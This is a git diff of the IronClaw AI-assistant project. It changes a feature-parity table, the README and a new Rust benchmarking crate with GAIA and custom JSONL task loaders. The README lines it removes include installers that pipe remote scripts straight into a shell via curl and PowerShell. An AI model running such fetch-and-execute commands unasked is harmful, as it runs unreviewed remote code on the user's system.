| Voice wake overlay | ✅ | 🚫 | - | Partial transcripts, adaptive delays, dismiss animations |
| Push-to-talk hotkey | ✅ | 🚫 | - | System-wide hotkey |
| Canvas hosting | ✅ | 🚫 | - | |
| Voice wake | ✅ | 🚫 | - | |
| Exec approval dialogs | ✅ | ✅ | - | TUI overlay |
| iMessage integration | ✅ | 🚫 | - | |
| Instances tab | ✅ | 🚫 | - | Presence beacons across instances |
| Agent events debug window | ✅ | 🚫 | - | Real-time event inspector |
| Sparkle auto-updates | ✅ | 🚫 | - | Appcast distribution |
### Owner: _Unassigned_ (if ever prioritized)
@@ -401,17 +303,14 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
| Feature | OpenClaw | IronClaw | Priority | Notes |
|---------|----------|----------|----------|-------|
| Control UI Dashboard | ✅ | | - | Web gateway with chat, memory, jobs, logs, extensions |
| Channel status view | ✅ | 🚧 | P2 | Gateway status widget, full channel view pending |
| Control UI Dashboard | ✅ | | P2 | Web status/config |
| Channel status view | ✅ | | P2 | |
| Agent management | ✅ | ❌ | P3 | |
| Model selection | ✅ | ✅ | - | TUI only |
| Config editing | ✅ | ❌ | P3 | |
| Debug/logs viewer | ✅ | | - | Real-time log streaming with level/target filters |
| WebChat interface | ✅ | | - | Web gateway chat with SSE/WebSocket |
| Canvas system (A2UI) | ✅ | ❌ | P3 | Agent-driven UI, improved asset resolution |
| Control UI i18n | ✅ | ❌ | P3 | English, Chinese, Portuguese |
| WebChat theme sync | ✅ | ❌ | P3 | Sync with system dark/light mode |
| Partial output on abort | ✅ | ❌ | P2 | Preserve partial output when aborting |
| Debug/logs viewer | ✅ | | P3 | |
| WebChat interface | ✅ | | P2 | Browser chat |
| Canvas system (A2UI) | ✅ | ❌ | P3 | Agent-driven UI |
### Owner: _Unassigned_
@@ -421,27 +320,21 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
| Feature | OpenClaw | IronClaw | Priority | Notes |
|---------|----------|----------|----------|-------|
| Cron jobs | ✅ | | - | Routines with cron trigger |
| Cron stagger controls | ✅ | ❌ | P3 | Default stagger for scheduled jobs |
| Cron finished-run webhook | ✅ | ❌ | P3 | Webhook on job completion |
| Timezone support | ✅ | | - | Via cron expressions |
| One-shot/recurring jobs | ✅ | | - | Manual + cron triggers |
| Channel health monitor | ✅ | ❌ | P2 | Auto-restart with configurable interval |
| `beforeInbound` hook | ✅ | | P2 | |
| `beforeOutbound` hook | ✅ | | P2 | |
| `beforeToolCall` hook | ✅ | | P2 | |
| `before_agent_start` hook | ✅ | ❌ | P2 | Model/provider override |
| `before_message_write` hook | ✅ | ❌ | P2 | Pre-write interception |
| `onMessage` hook | ✅ | ✅ | - | Routines with event trigger |
| `onSessionStart` hook | ✅ | ✅ | P2 | |
| `onSessionEnd` hook | ✅ | ✅ | P2 | |
| Cron jobs | ✅ | | P2 | Schedule-based tasks |
| Timezone support | ✅ | ❌ | P2 | |
| One-shot/recurring jobs | ✅ | ❌ | P2 | |
| `beforeInbound` hook | ✅ | | P2 | |
| `beforeOutbound` hook | ✅ | | P2 | |
| `beforeToolCall` hook | ✅ | ❌ | P2 | |
| `onMessage` hook | ✅ | | P2 | |
| `onSessionStart` hook | ✅ | | P2 | |
| `onSessionEnd` hook | ✅ | | P2 | |
| `transcribeAudio` hook | ✅ | ❌ | P3 | |
| `transformResponse` hook | ✅ | | P2 | |
| `llm_input`/`llm_output` hooks | ✅ | ❌ | P3 | LLM payload inspection |
| Bundled hooks | ✅ | | P2 | Audit + declarative rule/webhook hooks |
| Plugin hooks | ✅ | | P3 | Registered from WASM `capabilities.json` |
| Workspace hooks | ✅ | | P2 | `hooks/hooks.json` and `hooks/*.hook.json` |
| Outbound webhooks | ✅ | ✅ | P2 | Fire-and-forget lifecycle event delivery |
| `transformResponse` hook | ✅ | | P2 | |
| Bundled hooks | ✅ | ❌ | P2 | |
| Plugin hooks | ✅ | | P3 | |
| Workspace hooks | ✅ | | P2 | Inline code |
| Outbound webhooks | ✅ | | P2 | |
| Heartbeat system | ✅ | ✅ | - | Periodic execution |
| Gmail pub/sub | ✅ | ❌ | P3 | |
@@ -453,37 +346,28 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
| Feature | OpenClaw | IronClaw | Notes |
|---------|----------|----------|-------|
| Gateway token auth | ✅ | | Bearer token auth on web gateway |
| Gateway token auth | ✅ | 🚧 | HTTP webhook secret |
| Device pairing | ✅ | ❌ | |
| Tailscale identity | ✅ | ❌ | |
| Trusted-proxy auth | ✅ | ❌ | Header-based reverse proxy auth |
| OAuth flows | ✅ | 🚧 | NEAR AI OAuth |
| DM pairing verification | ✅ | | ironclaw pairing approve, host APIs |
| Allowlist/blocklist | ✅ | 🚧 | allow_from + pairing store |
| DM pairing verification | ✅ | | |
| Allowlist/blocklist | ✅ | | |
| Per-group tool policies | ✅ | ❌ | |
| Exec approvals | ✅ | ✅ | TUI overlay |
| TLS 1.3 minimum | ✅ | ✅ | reqwest rustls |
| SSRF protection | ✅ | ✅ | WASM allowlist |
| SSRF IPv6 transition bypass block | ✅ | ❌ | Block IPv4-mapped IPv6 bypasses |
| Cron webhook SSRF guard | ✅ | ❌ | SSRF checks on webhook delivery |
| Loopback-first | ✅ | 🚧 | HTTP binds 0.0.0.0 |
| Docker sandbox | ✅ | | Orchestrator/worker containers |
| Podman support | ✅ | ❌ | Alternative to Docker |
| Docker sandbox | ✅ | | Uses WASM sandbox |
| WASM sandbox | ❌ | ✅ | IronClaw innovation |
| Sandbox env sanitization | ✅ | 🚧 | Shell tool scrubs env vars (secret detection); docker container env sanitization partial |
| Tool policies | ✅ | ✅ | |
| Elevated mode | ✅ | ❌ | |
| Safe bins allowlist | ✅ | ❌ | Hardened path trust |
| Safe bins allowlist | ✅ | ❌ | |
| LD*/DYLD* validation | ✅ | ❌ | |
| Path traversal prevention | ✅ | ✅ | Including config includes (OC-06) |
| Credential theft via env injection | ✅ | 🚧 | Shell env scrubbing + command injection detection; no full OC-09 defense |
| Session file permissions (0o600) | ✅ | ✅ | Session token file set to 0o600 in llm/session.rs |
| Skill download path restriction | ✅ | ❌ | Prevent arbitrary write targets |
| Path traversal prevention | ✅ | ✅ | |
| Webhook signature verification | ✅ | ✅ | |
| Media URL validation | ✅ | ❌ | |
| Prompt injection defense | ✅ | ✅ | Pattern detection, sanitization |
| Leak detection | ✅ | ✅ | Secret exfiltration |
| Dangerous tool re-enable warning | ✅ | ❌ | Warn when gateway.tools.allow re-enables HTTP tools |
### Owner: _Unassigned_
@@ -503,9 +387,6 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
| Coverage | V8 | tarpaulin/llvm-cov | |
| CI/CD | GitHub Actions | GitHub Actions | |
| Pre-commit hooks | prek | - | Consider adding |
| Docker: Chromium + Xvfb | ✅ | ❌ | Optional browser in container |
| Docker: init scripts | ✅ | ❌ | /openclaw-init.d/ support |
| Browser: extraArgs config | ✅ | ❌ | Custom Chrome launch arguments |
### Owner: _Unassigned_
@@ -516,57 +397,40 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
### P0 - Core (Already Done)
- ✅ TUI channel with approval overlays
- ✅ HTTP webhook channel
- ✅ DM pairing (ironclaw pairing list/approve, host APIs)
- ✅ WASM tool sandbox
- ✅ Workspace/memory with hybrid search + embeddings batching
- ✅ Workspace/memory with hybrid search
- ✅ Prompt injection defense
- ✅ Heartbeat system
- ✅ Session management
- ✅ Context compaction
- ✅ Model selection
- ✅ Gateway control plane + WebSocket
- ✅ Web Control UI (chat, memory, jobs, logs, extensions, routines)
- ✅ WebChat channel (web gateway)
- ✅ Slack channel (WASM tool)
- ✅ Telegram channel (WASM tool, MTProto)
- ✅ Docker sandbox (orchestrator/worker)
- ✅ Cron job scheduling (routines)
- ✅ CLI subcommands (onboard, config, status, memory)
- ✅ Gateway token auth
- ✅ Skills system (prompt-based with trust gating, attenuation, activation criteria)
- ✅ Session file permissions (0o600)
- ✅ Memory CLI commands (search, read, write, tree, status)
- ✅ Shell env scrubbing + command injection detection
- ✅ Tinfoil private inference provider
- ✅ OpenAI-compatible / OpenRouter provider support
### P1 - High Priority
- ❌ Slack channel (real implementation)
- Telegram channel (WASM, DM pairing, caption, /start)
- Telegram channel
- ❌ WhatsApp channel
- Multi-provider failover (`FailoverProvider` with retryable error classification)
- ✅ Hooks system (core lifecycle hooks + bundled/plugin/workspace hooks + outbound webhooks)
- Multi-provider failover
- ❌ Gateway control plane + WebSocket
- ❌ Hooks system (beforeInbound, beforeToolCall, etc.)
### P2 - Medium Priority
- ❌ Cron job scheduling
- ❌ Web Control UI
- ❌ WebChat channel
- ❌ Media handling (images, PDFs)
- ✅ Ollama/local model support (via rig::providers::ollama)
- ❌ CLI subcommands (config, status, memory, doctor)
- ❌ Ollama/local model support
- ❌ Configuration hot-reload
- ❌ Webhook trigger endpoint in web gateway
- ❌ Channel health monitor with auto-restart
- ❌ Partial output preservation on abort
### P3 - Lower Priority
- ❌ Discord channel
- ❌ Signal channel
- ❌ Matrix channel
- ❌ Other messaging platforms
- ❌ TTS/audio features
- ❌ Video support
- 🚧 Skills routing blocks (activation criteria exist, but no "Use when / Don't use when")
- Skills system
- ❌ Plugin registry
- ❌ Streaming (block/tool/Z.AI tool_stream)
- ❌ Memory: temporal decay, MMR re-ranking, query expansion
- ❌ Control UI i18n
- ❌ Stuck loop detection
---
@@ -591,12 +455,9 @@ IronClaw intentionally differs from OpenClaw in these ways:
1. **Rust vs TypeScript**: Native performance, memory safety, single binary distribution
2. **WASM sandbox vs Docker**: Lighter weight, faster startup, capability-based security
3. **PostgreSQL + libSQL vs SQLite**: Dual-backend (production PG + embedded libSQL for zero-dep local mode)
3. **PostgreSQL vs SQLite**: Better suited for production deployments
4. **NEAR AI focus**: Primary provider with session-based auth
5. **No mobile/desktop apps**: Focus on server-side and CLI initially
6. **WASM channels**: Novel extension mechanism not in OpenClaw
7. **Tinfoil private inference**: IronClaw-only provider for private/encrypted inference
8. **GitHub WASM tool**: Native GitHub integration as WASM tool
9. **Prompt-based skills**: Different approach than OpenClaw capability bundles (trust gating, attenuation)
These are intentional architectural choices, not gaps to be filled.
+39 -122
View File
@@ -1,5 +1,5 @@
<p align="center">
<img src="ironclaw.png?v=2" alt="IronClaw" width="200"/>
<img src="ironclaw.png" alt="IronClaw" width="200"/>
</p>
<h1 align="center">IronClaw</h1>
@@ -8,12 +8,6 @@
<strong>Your secure personal AI assistant, always on your side</strong>
</p>
<p align="center">
<a href="#license"><img src="https://img.shields.io/badge/license-MIT%20OR%20Apache%202.0-blue.svg" alt="License: MIT OR Apache-2.0" /></a>
<a href="https://t.me/ironclawAI"><img src="https://img.shields.io/badge/Telegram-%40ironclawAI-26A5E4?style=flat&logo=telegram&logoColor=white" alt="Telegram: @ironclawAI" /></a>
<a href="https://www.reddit.com/r/ironclawAI/"><img src="https://img.shields.io/badge/Reddit-r%2FironclawAI-FF4500?style=flat&logo=reddit&logoColor=white" alt="Reddit: r/ironclawAI" /></a>
</p>
<p align="center">
<a href="#philosophy">Philosophy</a> •
<a href="#features">Features</a> •
@@ -49,10 +43,7 @@ IronClaw is the AI assistant you can actually trust with your personal and profe
### Always Available
- **Multi-channel** - REPL, HTTP webhooks, WASM channels (Telegram, Slack), and web gateway
- **Docker Sandbox** - Isolated container execution with per-job tokens and orchestrator/worker pattern
- **Web Gateway** - Browser UI with real-time SSE/WebSocket streaming
- **Routines** - Cron schedules, event triggers, webhook handlers for background automation
- **Multi-channel** - REPL, HTTP webhooks, and extensible WASM channels (Telegram, Slack, and more)
- **Heartbeat System** - Proactive background execution for monitoring and maintenance tasks
- **Parallel Jobs** - Handle multiple requests concurrently with isolated contexts
- **Self-repair** - Automatic detection and recovery of stuck operations
@@ -74,50 +65,10 @@ IronClaw is the AI assistant you can actually trust with your personal and profe
### Prerequisites
- Rust 1.85+
- PostgreSQL 15+ with [pgvector](https://github.com/pgvector/pgvector) extension
- PostgreSQL 15+ with pgvector extension
- NEAR AI account (authentication handled via setup wizard)
## Download or Build
Visit [Releases page](https://github.com/nearai/ironclaw/releases/) to see the latest updates.
<details>
<summary>Install via Windows Installer (Windows)</summary>
Download the [Windows Installer](https://github.com/nearai/ironclaw/releases/latest/download/ironclaw-x86_64-pc-windows-msvc.msi) and run it.
</details>
<details>
<summary>Install via powershell script (Windows)</summary>
```sh
irm https://github.com/nearai/ironclaw/releases/latest/download/ironclaw-installer.ps1 | iex
```
</details>
<details>
<summary>Install via shell script (macOS, Linux, Windows/WSL)</summary>
```sh
curl --proto '=https' --tlsv1.2 -LsSf https://github.com/nearai/ironclaw/releases/latest/download/ironclaw-installer.sh | sh
```
</details>
<details>
<summary>Install via Homebrew (macOS/Linux)</summary>
```sh
brew install ironclaw
```
</details>
<details>
<summary>Compile the source code (Cargo on Windows, Linux, macOS)</summary>
Install it with `cargo`, just make sure you have [Rust](https://rustup.rs) installed on your computer.
### Build
```bash
# Clone the repository
@@ -131,10 +82,6 @@ cargo build --release
cargo test
```
For **full release** (after modifying channel sources), run `./scripts/build-all.sh` to rebuild channels first.
</details>
### Database Setup
```bash
@@ -150,30 +97,12 @@ psql ironclaw -c "CREATE EXTENSION IF NOT EXISTS vector;"
Run the setup wizard to configure IronClaw:
```bash
ironclaw onboard
ironclaw setup
```
The wizard handles database connection, NEAR AI authentication (via browser OAuth),
and secrets encryption (using your system keychain). Settings are persisted in the
connected database; bootstrap variables (e.g. `DATABASE_URL`, `LLM_BACKEND`) are
written to `~/.ironclaw/.env` so they are available before the database connects.
### Alternative LLM Providers
IronClaw defaults to NEAR AI but works with any OpenAI-compatible endpoint.
Popular options include **OpenRouter** (300+ models), **Together AI**, **Fireworks AI**,
**Ollama** (local), and self-hosted servers like **vLLM** or **LiteLLM**.
Select *"OpenAI-compatible"* in the wizard, or set environment variables directly:
```env
LLM_BACKEND=openai_compatible
LLM_BASE_URL=https://openrouter.ai/api/v1
LLM_API_KEY=sk-or-...
LLM_MODEL=anthropic/claude-sonnet-4
```
See [docs/LLM_PROVIDERS.md](docs/LLM_PROVIDERS.md) for a full provider guide.
and secrets encryption (using your system keychain). All settings are saved to
`~/.ironclaw/settings.toml`.
## Security
@@ -214,42 +143,37 @@ External content passes through multiple security layers:
## Architecture
```
┌────────────────────────────────────────────────────────────────┐
Channels │
│ ┌──────┐ ┌──────┐ ┌─────────────┐ ┌─────────────┐
│ │ REPL │ │ HTTP │ │WASM Channels│ │ Web Gateway │
│ └──┬───┘ └──┬───┘ └──────┬──────┘ │ (SSE + WS)
│ │ └──────┬──────┘
└─────────┴──────────────┴────────────────┘
┌─────────▼─────────┐
│ Agent Loop Intent routing
└────┬──────────┬───┘
│ │
┌──────────▼────┐ ┌──▼───────────────┐
│ Scheduler │ Routines Engine
│(parallel jobs)│ │(cron, event, wh) │
──────────────┘ └─────────────────┘
┌─────────────┼────────────────────
│ │
──────── ┌────▼────────────────
│ Local │ Orchestrator │
│Workers ┌───────────────┐ │
│(in-proc)│ │ Docker Sandbox│
└───┬─────┘ Containers
┌───────────
│ │ │Worker / CC
│ │ └───────────┘
└───────────────┘ │
└────────┬──────────┘ │
│ └──────────────────
│ │ │
│ ┌───────────▼──────────┐ │
│ │ Tool Registry │ │
│ │ Built-in, MCP, WASM │ │
│ └──────────────────────┘ │
└────────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────────
│ Channels
│ ┌──────┐ ┌──────┐ ┌─────────────┐
│ │ REPL │ │ HTTP │ │ WASM Channels│
│ └──┬───┘ └──┬───┘ └──────┬──────
└─────────┴─────────────┘
┌────▼────┐
│ Router │ Intent classification
└────┬────┘
┌──────────▼──────────┐
│ Scheduler Parallel job management
└──────────┬──────────┘
──────────────────────────────
│ ┌─────────┐ ┌─────────┐ ┌─────────
│ Worker │ │ Worker │ Worker LLM reasoning
──────── ────────┘ └────────
└───────────────┼───────────────┘
┌──────────▼──────────┐
Tool Registry
│ │ ┌───────────────┐
│ │ │ Built-in │ │ │
│ │ │ MCP │
│ │ │ WASM Sandbox │ │
└───────────────┘
└─────────────────────┘
└─────────────────────────────────────────────────────────────────┘
```
### Core Components
@@ -260,9 +184,6 @@ External content passes through multiple security layers:
| **Router** | Classifies user intent (command, query, task) |
| **Scheduler** | Manages parallel job execution with priorities |
| **Worker** | Executes jobs with LLM reasoning and tool calls |
| **Orchestrator** | Container lifecycle, LLM proxying, per-job auth |
| **Web Gateway** | Browser UI with chat, memory, jobs, logs, extensions, routines |
| **Routines Engine** | Scheduled (cron) and reactive (event, webhook) background tasks |
| **Workspace** | Persistent memory with hybrid search |
| **Safety Layer** | Prompt injection defense and content sanitization |
@@ -270,7 +191,7 @@ External content passes through multiple security layers:
```bash
# First-time setup (configures database, auth, etc.)
ironclaw onboard
ironclaw setup
# Start interactive REPL
cargo run
@@ -289,16 +210,12 @@ cargo fmt
cargo clippy --all --benches --tests --examples --all-features
# Run tests
createdb ironclaw_test
cargo test
# Run specific test
cargo test test_name
```
- **Telegram channel**: See [docs/TELEGRAM_SETUP.md](docs/TELEGRAM_SETUP.md) for setup and DM pairing.
- **Changing channel sources**: Run `./channels-src/telegram/build.sh` before `cargo build` so the updated WASM is bundled.
## OpenClaw Heritage
IronClaw is a Rust reimplementation inspired by [OpenClaw](https://github.com/openclaw/openclaw). See [FEATURE_PARITY.md](FEATURE_PARITY.md) for the complete tracking matrix.
+49
View File
@@ -0,0 +1,49 @@
[package]
name = "ironclaw-bench"
version = "0.1.0"
edition = "2024"
rust-version = "1.85"
description = "Benchmarking harness for IronClaw agent"
license = "MIT OR Apache-2.0"
[[bin]]
name = "ironclaw-bench"
path = "src/main.rs"
[dependencies]
ironclaw = { path = ".." }
# Async runtime
tokio = { version = "1", features = ["full"] }
tokio-stream = { version = "0.1", features = ["sync"] }
futures = "0.3"
# Serialization
serde = { version = "1", features = ["derive"] }
serde_json = "1"
toml = "0.8"
# CLI
clap = { version = "4", features = ["derive"] }
# Core types
uuid = { version = "1", features = ["v4", "serde"] }
chrono = { version = "0.4", features = ["serde"] }
rust_decimal = { version = "1", features = ["serde", "serde-with-str"] }
# Error handling
thiserror = "2"
anyhow = "1"
# Async traits
async-trait = "0.1"
# Logging
tracing = "0.1"
tracing-subscriber = { version = "0.3", features = ["env-filter"] }
# Scoring
regex = "1"
[dev-dependencies]
tempfile = "3"
+237
View File
@@ -0,0 +1,237 @@
use std::io::BufRead;
use std::path::PathBuf;
use async_trait::async_trait;
use serde::Deserialize;
use crate::error::BenchError;
use crate::scoring;
use crate::suite::{BenchScore, BenchSuite, BenchTask, TaskSubmission};
/// A single entry in the custom JSONL format.
#[derive(Debug, Deserialize)]
struct CustomEntry {
id: String,
prompt: String,
#[serde(default)]
context: Option<String>,
#[serde(default)]
tags: Vec<String>,
#[serde(default)]
expected: Option<String>,
#[serde(default)]
expected_contains: Option<String>,
#[serde(default)]
expected_regex: Option<String>,
/// "exact", "contains", "regex", or "llm" (default: "exact")
#[serde(default = "default_scorer")]
scorer: String,
}
fn default_scorer() -> String {
"exact".to_string()
}
/// Custom JSONL benchmark suite.
///
/// Each line of the JSONL file is a task with `id`, `prompt`, and scoring
/// criteria (`expected`, `expected_contains`, `expected_regex`).
pub struct CustomSuite {
dataset_path: PathBuf,
}
impl CustomSuite {
pub fn new(dataset_path: impl Into<PathBuf>) -> Self {
Self {
dataset_path: dataset_path.into(),
}
}
}
#[async_trait]
impl BenchSuite for CustomSuite {
fn name(&self) -> &str {
"Custom JSONL"
}
fn id(&self) -> &str {
"custom"
}
async fn load_tasks(&self) -> Result<Vec<BenchTask>, BenchError> {
let file = std::fs::File::open(&self.dataset_path).map_err(BenchError::Io)?;
let reader = std::io::BufReader::new(file);
let mut tasks = Vec::new();
for (line_num, line) in reader.lines().enumerate() {
let line = line?;
let trimmed = line.trim();
if trimmed.is_empty() {
continue;
}
let entry: CustomEntry = serde_json::from_str(trimmed)
.map_err(|e| BenchError::Config(format!("line {}: {}", line_num + 1, e)))?;
let mut metadata = serde_json::json!({
"scorer": entry.scorer,
});
if let Some(ref expected) = entry.expected {
metadata["expected"] = serde_json::Value::String(expected.clone());
}
if let Some(ref expected_contains) = entry.expected_contains {
metadata["expected_contains"] =
serde_json::Value::String(expected_contains.clone());
}
if let Some(ref expected_regex) = entry.expected_regex {
metadata["expected_regex"] = serde_json::Value::String(expected_regex.clone());
}
tasks.push(BenchTask {
id: entry.id,
prompt: entry.prompt,
context: entry.context,
resources: vec![],
tags: entry.tags,
expected_turns: None,
timeout: None,
metadata,
});
}
Ok(tasks)
}
async fn score(
&self,
task: &BenchTask,
submission: &TaskSubmission,
) -> Result<BenchScore, BenchError> {
let scorer = task
.metadata
.get("scorer")
.and_then(|v| v.as_str())
.unwrap_or("exact");
match scorer {
"exact" => {
if let Some(expected) = task.metadata.get("expected").and_then(|v| v.as_str()) {
Ok(scoring::exact_match(expected, &submission.response))
} else {
Err(BenchError::Scoring {
task_id: task.id.clone(),
reason: "no 'expected' field for exact scoring".to_string(),
})
}
}
"contains" => {
if let Some(expected) = task
.metadata
.get("expected_contains")
.and_then(|v| v.as_str())
{
Ok(scoring::contains_match(expected, &submission.response))
} else {
Err(BenchError::Scoring {
task_id: task.id.clone(),
reason: "no 'expected_contains' field for contains scoring".to_string(),
})
}
}
"regex" => {
if let Some(pattern) = task.metadata.get("expected_regex").and_then(|v| v.as_str())
{
Ok(scoring::regex_match(pattern, &submission.response))
} else {
Err(BenchError::Scoring {
task_id: task.id.clone(),
reason: "no 'expected_regex' field for regex scoring".to_string(),
})
}
}
"llm" => {
// TODO: LLM-as-judge scoring
Ok(BenchScore::partial(0.5, "LLM scoring not yet implemented"))
}
other => Err(BenchError::Scoring {
task_id: task.id.clone(),
reason: format!("unknown scorer: {other}"),
}),
}
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::io::Write;
#[tokio::test]
async fn test_custom_load_tasks() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("tasks.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"id": "t1", "prompt": "What is 2+2?", "expected": "4"}}"#
)
.unwrap();
writeln!(
file,
r#"{{"id": "t2", "prompt": "Say hello", "expected_contains": "hello", "scorer": "contains"}}"#
)
.unwrap();
let suite = CustomSuite::new(&path);
let tasks = suite.load_tasks().await.unwrap();
assert_eq!(tasks.len(), 2);
assert_eq!(tasks[0].id, "t1");
assert_eq!(tasks[1].id, "t2");
}
#[tokio::test]
async fn test_custom_exact_scoring() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("tasks.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"id": "t1", "prompt": "What is 2+2?", "expected": "4"}}"#
)
.unwrap();
let suite = CustomSuite::new(&path);
let tasks = suite.load_tasks().await.unwrap();
let submission = TaskSubmission {
response: "4".to_string(),
conversation: vec![],
tool_calls: vec![],
};
let score = suite.score(&tasks[0], &submission).await.unwrap();
assert_eq!(score.value, 1.0);
assert_eq!(score.label, "pass");
}
#[tokio::test]
async fn test_custom_contains_scoring() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("tasks.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"id": "t1", "prompt": "Greet me", "expected_contains": "hello", "scorer": "contains"}}"#
)
.unwrap();
let suite = CustomSuite::new(&path);
let tasks = suite.load_tasks().await.unwrap();
let submission = TaskSubmission {
response: "Hello there!".to_string(),
conversation: vec![],
tool_calls: vec![],
};
let score = suite.score(&tasks[0], &submission).await.unwrap();
assert_eq!(score.value, 1.0);
}
}
+183
View File
@@ -0,0 +1,183 @@
use std::io::BufRead;
use std::path::PathBuf;
use async_trait::async_trait;
use serde::Deserialize;
use crate::error::BenchError;
use crate::scoring;
use crate::suite::{BenchScore, BenchSuite, BenchTask, TaskResource, TaskSubmission};
/// GAIA dataset entry (Hugging Face JSONL format).
#[derive(Debug, Deserialize)]
struct GaiaEntry {
task_id: String,
#[serde(alias = "Question")]
question: String,
#[serde(alias = "Final answer", alias = "final_answer")]
final_answer: String,
#[serde(alias = "Level", default)]
level: Option<u32>,
#[serde(alias = "file_name", default)]
file_name: Option<String>,
#[serde(alias = "Annotator Metadata", default)]
annotator_metadata: Option<serde_json::Value>,
}
/// GAIA benchmark suite.
///
/// Tasks are loaded from HuggingFace JSONL exports. Scoring uses normalized
/// exact match against the `final_answer` field.
pub struct GaiaSuite {
dataset_path: PathBuf,
attachments_dir: Option<PathBuf>,
}
impl GaiaSuite {
pub fn new(
dataset_path: impl Into<PathBuf>,
attachments_dir: Option<impl Into<PathBuf>>,
) -> Self {
Self {
dataset_path: dataset_path.into(),
attachments_dir: attachments_dir.map(|d| d.into()),
}
}
}
#[async_trait]
impl BenchSuite for GaiaSuite {
fn name(&self) -> &str {
"GAIA"
}
fn id(&self) -> &str {
"gaia"
}
async fn load_tasks(&self) -> Result<Vec<BenchTask>, BenchError> {
let file = std::fs::File::open(&self.dataset_path)?;
let reader = std::io::BufReader::new(file);
let mut tasks = Vec::new();
for (line_num, line) in reader.lines().enumerate() {
let line = line?;
let trimmed = line.trim();
if trimmed.is_empty() {
continue;
}
let entry: GaiaEntry = serde_json::from_str(trimmed)
.map_err(|e| BenchError::Config(format!("GAIA line {}: {}", line_num + 1, e)))?;
let mut resources = Vec::new();
if let Some(ref file_name) = entry.file_name {
if !file_name.is_empty() {
if let Some(ref dir) = self.attachments_dir {
resources.push(TaskResource {
name: file_name.clone(),
path: dir.join(file_name).to_string_lossy().to_string(),
resource_type: crate::suite::ResourceType::File,
});
}
}
}
let mut tags = Vec::new();
if let Some(level) = entry.level {
tags.push(format!("level-{level}"));
}
let metadata = serde_json::json!({
"expected": entry.final_answer,
"level": entry.level,
});
tasks.push(BenchTask {
id: entry.task_id,
prompt: entry.question,
context: None,
resources,
tags,
expected_turns: None,
timeout: None,
metadata,
});
}
Ok(tasks)
}
async fn score(
&self,
task: &BenchTask,
submission: &TaskSubmission,
) -> Result<BenchScore, BenchError> {
let expected = task
.metadata
.get("expected")
.and_then(|v| v.as_str())
.ok_or_else(|| BenchError::Scoring {
task_id: task.id.clone(),
reason: "missing expected answer in metadata".to_string(),
})?;
Ok(scoring::exact_match(expected, &submission.response))
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::io::Write;
#[tokio::test]
async fn test_gaia_load_tasks() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("gaia.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"task_id": "g1", "question": "What is the capital of France?", "final_answer": "Paris", "Level": 1}}"#
)
.unwrap();
let suite = GaiaSuite::new(&path, None::<PathBuf>);
let tasks = suite.load_tasks().await.unwrap();
assert_eq!(tasks.len(), 1);
assert_eq!(tasks[0].id, "g1");
assert!(tasks[0].tags.contains(&"level-1".to_string()));
}
#[tokio::test]
async fn test_gaia_scoring() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("gaia.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"task_id": "g1", "question": "Capital of France?", "final_answer": "Paris"}}"#
)
.unwrap();
let suite = GaiaSuite::new(&path, None::<PathBuf>);
let tasks = suite.load_tasks().await.unwrap();
// Exact match (case insensitive)
let submission = TaskSubmission {
response: "paris".to_string(),
conversation: vec![],
tool_calls: vec![],
};
let score = suite.score(&tasks[0], &submission).await.unwrap();
assert_eq!(score.value, 1.0);
// Wrong answer
let submission = TaskSubmission {
response: "London".to_string(),
conversation: vec![],
tool_calls: vec![],
};
let score = suite.score(&tasks[0], &submission).await.unwrap();
assert_eq!(score.value, 0.0);
}
}
+110
View File
@@ -0,0 +1,110 @@
pub mod custom;
pub mod gaia;
pub mod swe_bench;
pub mod tau_bench;
use crate::config::BenchConfig;
use crate::error::BenchError;
use crate::suite::BenchSuite;
/// List of all known suite IDs.
pub const KNOWN_SUITES: &[(&str, &str)] = &[
("custom", "Custom JSONL tasks"),
("gaia", "GAIA benchmark (knowledge & reasoning)"),
("tau_bench", "Tau-bench (multi-turn tool use)"),
("swe_bench", "SWE-bench Pro (software engineering)"),
];
/// Create a suite adapter by name.
pub fn create_suite(name: &str, config: &BenchConfig) -> Result<Box<dyn BenchSuite>, BenchError> {
let suite_map = config.suite_config_map();
match name {
"custom" => {
let dataset_path = suite_map
.get("dataset_path")
.and_then(|v| v.as_str())
.map(|s| s.to_string())
.ok_or_else(|| {
BenchError::Config(
"suite_config.dataset_path is required for 'custom' suite".to_string(),
)
})?;
Ok(Box::new(custom::CustomSuite::new(dataset_path)))
}
"gaia" => {
let dataset_path = suite_map
.get("dataset_path")
.and_then(|v| v.as_str())
.map(|s| s.to_string())
.ok_or_else(|| {
BenchError::Config(
"suite_config.dataset_path is required for 'gaia' suite".to_string(),
)
})?;
let attachments_dir = suite_map
.get("attachments_dir")
.and_then(|v| v.as_str())
.map(|s| s.to_string());
Ok(Box::new(gaia::GaiaSuite::new(
dataset_path,
attachments_dir,
)))
}
"tau_bench" => {
let dataset_path = suite_map
.get("dataset_path")
.and_then(|v| v.as_str())
.map(|s| s.to_string())
.ok_or_else(|| {
BenchError::Config(
"suite_config.dataset_path is required for 'tau_bench' suite".to_string(),
)
})?;
let domain = suite_map
.get("domain")
.and_then(|v| v.as_str())
.unwrap_or("retail")
.to_string();
Ok(Box::new(tau_bench::TauBenchSuite::new(
dataset_path,
domain,
)))
}
"swe_bench" => {
let dataset_path = suite_map
.get("dataset_path")
.and_then(|v| v.as_str())
.map(|s| s.to_string())
.ok_or_else(|| {
BenchError::Config(
"suite_config.dataset_path is required for 'swe_bench' suite".to_string(),
)
})?;
let workspace_dir = suite_map
.get("workspace_dir")
.and_then(|v| v.as_str())
